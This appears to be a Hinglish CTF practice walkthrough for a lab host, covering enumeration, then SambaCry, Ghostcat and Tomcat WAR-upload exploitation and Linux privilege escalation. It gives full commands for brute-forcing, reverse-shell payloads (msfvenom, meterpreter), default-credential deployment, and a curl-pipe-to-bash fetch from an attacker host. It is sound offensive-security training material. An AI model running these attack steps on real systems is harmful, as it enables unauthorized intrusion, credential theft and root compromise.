Target Exploitation Walkthrough

Nmap-based Enumeration → Vulnerability Mapping → Exploitation → Root

Target: `10.48.159.200` (ip-10-48-159-200.ap-south-1.compute.internal)
Scan: `nmap -sV -sC` — Thu Sep 17 2026
Prepared for: Jeopardy-style CTF practice

SOC / VAPT Reference Notes — Sujal

1. Scan Summary

Yeh box classic "everything is old and vulnerable" style CTF/lab machine hai — SSH, web, Samba, AJP, aur Tomcat sab open hain. Table mein har port ka risk level aur attack surface diya hai.

Port	Service	Version	Risk	Primary Attack Path
22/tcp	SSH	OpenSSH 8.2p1	Low (direct)	Credential brute-force / reused creds only
80/tcp	HTTP	Apache 2.4.41	Medium	Content/dir enum, hidden panels, LFI/RCE via app bugs
139,445/tcp	SMB (Samba)	Samba 4.6.2	**Critical**	Anonymous share access + SambaCry RCE (CVE-2017-7494)
8009/tcp	AJP13	Apache JServ 1.3	**Critical**	Ghostcat (CVE-2020-1938) — file read → RCE via upload
8080/tcp	HTTP (Tomcat)	Apache Tomcat 9.0.7	**Critical**	Manager default creds → WAR upload → RCE

Root path priority (highest success chance first): **Tomcat Manager WAR deploy → Ghostcat (AJP) → SambaCry (SMB)**. In most CTF boxes ek hi path fully open rakha jata hai — teeno try karo, jo clean chale wahi lo.

2. Port 22 — SSH (OpenSSH 8.2p1)

22/tcp — SSH

INFO **Yeh kya hai:** Remote login service. OpenSSH 8.2p1 (Ubuntu) — patched version hai, koi well-known unauth RCE nahi hai isme directly.

Kaam aayega kab

- Agar kisi doosre service (Tomcat, Samba, web app config file) se **username/password** ya **SSH private key** mil jaye, toh yahan use karke shell lo.
- CVE-2018-15473 — username enumeration via timing (older versions) — 8.2p1 mein generally patched, phir bhi try karne mein harm nahi.

Commands

```
nmap -p22 --script ssh-auth-methods,ssh2-enum-algos 10.48.159.200

# agar creds mil jaye kahi se
ssh username@10.48.159.200

# key mila ho toh
chmod 600 id_rsa
ssh -i id_rsa username@10.48.159.200

# brute-force (sirf CTF/lab me, authorized target par)
hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://10.48.159.200
```

Milega: Direct shell (agar creds valid) — bina creds ke aage nahi badhega, isliye is port ko "last resort / pivot point" samjho.

3. Port 80 — Apache HTTP (Web)

80/tcp — Apache 2.4.41

MEDIUM **Yeh kya hai:** Plain Apache web server, no title in response — matlab ya toh default page hai ya kuch hidden hai jo directly index par visible nahi.

Enumeration commands

```
whatweb http://10.48.159.200
curl -i http://10.48.159.200

# directory / file brute-force
gobuster dir -u http://10.48.159.200 -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt -x php,txt,html,bak

# nikto for known misconfig/vuln checks
nikto -h http://10.48.159.200

# screenshot + deep crawl
whatweb -a 3 http://10.48.159.200
```

Kya dhundna hai

- Hidden admin panels, backup files (`.bak`, `.old`), `robots.txt`, `/uploads`, exposed `.git`
- Koi CMS/app chal raha ho toh uska specific CVE search karo (version fingerprint se)

Yeh port khud se rarely "exploit" hota hai — iska kaam hai **information leak + entry point discovery**. Jo bhi milta hai (usernames, paths, tech stack) wo Tomcat/Samba attack ko support karta hai.

4. Port 139 & 445 — Samba (SMB)

139/445/tcp — Samba 4.6.2

CRITICAL **Yeh kya hai:** SMB file-sharing service. Samba 4.6.2 **CVE-2017-7494 "SambaCry"** ke range (3.5.0 – 4.6.4) mein aata hai — yeh EternalBlue jaisa hi mashhur RCE hai Linux ke liye.

Step 1 — Enumeration

```
nmap -p139,445 --script smb-enum-shares,smb-enum-users,smb-os-discovery,smb-vuln*
10.48.159.200

enum4linux -a 10.48.159.200

smbclient -L //10.48.159.200/ -N   # -N = null/anonymous session
smbmap -H 10.48.159.200
```

Step 2 — Confirm writable share

SambaCry exploit ke liye ek **writable share** chahiye jaha tum apni malicious `.so` file upload kar sako.

```
smbclient //10.48.159.200/<share_name> -N
smb: \> put evil.so
smb: \> ls
```

Step 3 — Exploit (Metasploit)

```
msfconsole -q
use exploit/linux/samba/is_known_pipename
set RHOSTS 10.48.159.200
set SMB_SHARE_NAME <writable_share>
set LHOST <your_ip>
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run
```

Manual (bina Metasploit) idea

Manually is_known_pipename samjhna: server ko named pipe path ke through force karte ho ki wo already-uploaded `.so` file ko module load karke run kare — server-side library load hoti hai jo tumhare shared library ke andar ka code execute kar deti hai, root/service-user context mein.

Milega: Direct **root/service-level shell** — SambaCry generally root privileges deta hai kyunki smbd root ke under chalta hai (jab tak drop-privileges configured na ho).

5. Port 8009 — AJP13 (Ghostcat)

8009/tcp — Apache JServ Protocol v1.3

CRITICAL **Yeh kya hai:** AJP proxy protocol jo Tomcat aur Apache HTTP server ke beech binary communication ke liye use hota hai. Yeh normally direct expose nahi hona chahiye — agar khula hai, matlab **CVE-2020-1938 "Ghostcat"** ka strong candidate hai.

Vulnerability samjho

Ghostcat AJP connector ko arbitrary file **read** (aur agar file-upload feature app mein enabled hai toh **include → RCE**) allow karta hai. Attacker webapp ke andar ki koi bhi file (jaise `WEB-INF/web.xml`, source code, config files with credentials) read kar sakta hai bina authentication ke.

Exploit (Metasploit module)

```
msfconsole -q
use auxiliary/admin/http/tomcat_ghostcat
set RHOSTS 10.48.159.200
set RPORT 8009
run
# Reads any file inside the webapp, e.g. WEB-INF/web.xml
```

Exploit (Python script — read-only PoC)

```
git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487
python3 ajpShooter.py http://10.48.159.200 8009 /WEB-INF/web.xml read
```

RCE tak escalate kaise hota hai

- Agar target app mein **file upload** feature hai (kahi bhi, arbitrary path/name control ke bina bhi), toh attacker pehle malicious JSP upload karta hai (image/pdf jaisa disguised), phir Ghostcat ke "include" mode se us uploaded file ko JSP ki tarah execute karwa deta hai.
- Agar sirf read milta hai, toh config files se DB creds / session secrets nikaal ke lateral movement karo.

Milega: Pehle arbitrary **file read** (source code, configs, credentials) — upload path mile toh **full RCE** as the Tomcat service user.

6. Port 8080 — Apache Tomcat 9.0.7

8080/tcp — Apache Tomcat 9.0.7

CRITICAL **Yeh kya hai:** Java web application server. Iska `/manager/html` aur `/host-manager` admin panel hota hai jaha se WAR files deploy hoti hain — yeh sabse common aur reliable root/RCE path hai CTF boxes mein.

Step 1 — Manager panel dhundo

```
curl -i http://10.48.159.200:8080/manager/html
curl -i http://10.48.159.200:8080/host-manager/html
```

Step 2 — Default / weak credentials try karo

```
hydra -L /usr/share/wordlists/tomcat_users.txt -P /usr/share/wordlists/
tomcat_pass.txt \
  10.48.159.200 -s 8080 http-get /manager/html

# Common default pairs to try manually:
# tomcat:tomcat   admin:admin   admin:s3cret   tomcat:s3cret   admin:tomcat
```

Step 3 — Malicious WAR banao (Metasploit)

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your_ip> LPORT=4444 -f war -o
shell.war
```

Step 4 — Deploy via Manager UI or curl

```
curl -u tomcat:s3cret --upload-file shell.war \
  "http://10.48.159.200:8080/manager/text/deploy?path=/shell"

# Trigger the shell
curl http://10.48.159.200:8080/shell/
```

Step 5 — Catch the shell

```
msfconsole -q
use exploit/multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST <your_ip>
set LPORT 4444
run
```

Agar creds nahi milte: **CVE-2017-12615** (PUT method RCE, older Tomcat 7) yahan generally nahi lagega (9.0.7 patched), lekin phir bhi check zaroor karo — misconfigured `readonly=false` ho sakta hai.

Milega: Reverse shell as the **Tomcat service account** (often `tomcat` user, sometimes root in badly configured labs) — yahan se privilege escalation try karo.

7. Root Tak — Privilege Escalation

Post-Exploitation

Ek baar koi bhi shell (Tomcat/Ghostcat/SambaCry) mil jaye, root tak jaane ke liye standard Linux privesc checklist chalao:

Enumeration scripts

```
curl http://10.10.14.x/linpeas.sh | bash
# ya
wget http://10.10.14.x/LinEnum.sh; bash LinEnum.sh
```

Manually check karo

```
sudo -l                       # passwordless sudo commands
find / -perm -u=s -type f 2>/dev/null   # SUID binaries
cat /etc/crontab; ls -la /etc/cron*     # writable cron jobs
uname -a                       # kernel version → known kernel exploits
cat /etc/samba/smb.conf        # SambaCry ke baad root mil sakta hai directly
```

Common wins on this kind of box

- SambaCry se already root/high-priv mil sakta hai directly (smbd root context)
- Tomcat service user se `sudo -l` ya writable `/etc/passwd` check karo
- Kernel version pata karke `searchsploit` se local kernel exploit dhoondo

8. Data Kya Mil Sakta Hai (Impact Summary)

Path	Access Level	Data / Impact
SambaCry (SMB)	Root / service shell	Full filesystem, `/etc/shadow`, all users' files, ability to pivot further

Ghostcat (AJP)	File read → possible RCE	Source code, DB credentials, session keys, config secrets
Tomcat Manager	Service-user shell	Webapp data, deployed app source, DB creds in `context.xml`, pivot to root via privesc
Web (port 80) recon	Info only	Usernames, hidden endpoints, tech stack fingerprints
SSH	Depends on creds found	Direct user shell if credentials reused across services

9. Bonus — Other Common CTF-Vulnerable Services (Checklist)

Yeh box mein nahi hain, lekin CTF/OSCP-style boxes mein baar-baar aate hain — reference ke liye rakho:

Service / Port	Common Vulnerability	Tool/Exploit
FTP (21) — vsftpd 2.3.4	Backdoor command execution	`exploit/unix/ftp/vsftpd_234_backdoor`
Redis (6379)	Unauthenticated access → write SSH key / cron RCE	Manual `redis-cli` + cron abuse
NFS (2049)	Misconfigured exports, no_root_squash → root file write	`showmount -e`, mount + SUID drop
MySQL (3306)	Weak/empty root password, UDF RCE	`mysql -u root`, `raptor_udf2`
Jenkins (8080/8443)	Script console RCE (unauth)	Groovy script via `/script`
Elasticsearch (9200)	Old versions unauth RCE (Groovy scripting)	CVE-2014-3120 / CVE-2015-1427
Rsync (873)	Anonymous module listing/access	`rsync rsync://target/`
SNMP (161/udp)	Default community strings leak info	`onesixtyone`, `snmpwalk`
RDP (3389)	BlueKeep (older Windows) / weak creds	CVE-2019-0708, `xfreerdp`
Docker API (2375)	Unauth API → container escape to host	`docker -H tcp://target:2375`

10. Suggested Attack Order (This Box)

1. **Enumerate everything first** — full `nmap -p- -sV -sC`, gobuster on port 80, enum4linux on SMB.
2. **Try Tomcat Manager default creds** (fastest, most reliable if it works).
3. **Run Ghostcat auxiliary module** to read `web.xml` — often leaks manager credentials directly.
4. **Check SMB shares** for write access — if found, go straight for SambaCry (near-guaranteed root).
5. **Privesc checklist** once any shell is landed, even if it already looks like root — verify with `id`.

Compiled for CTF practice — Sujal | Blue Team + VAPT reference set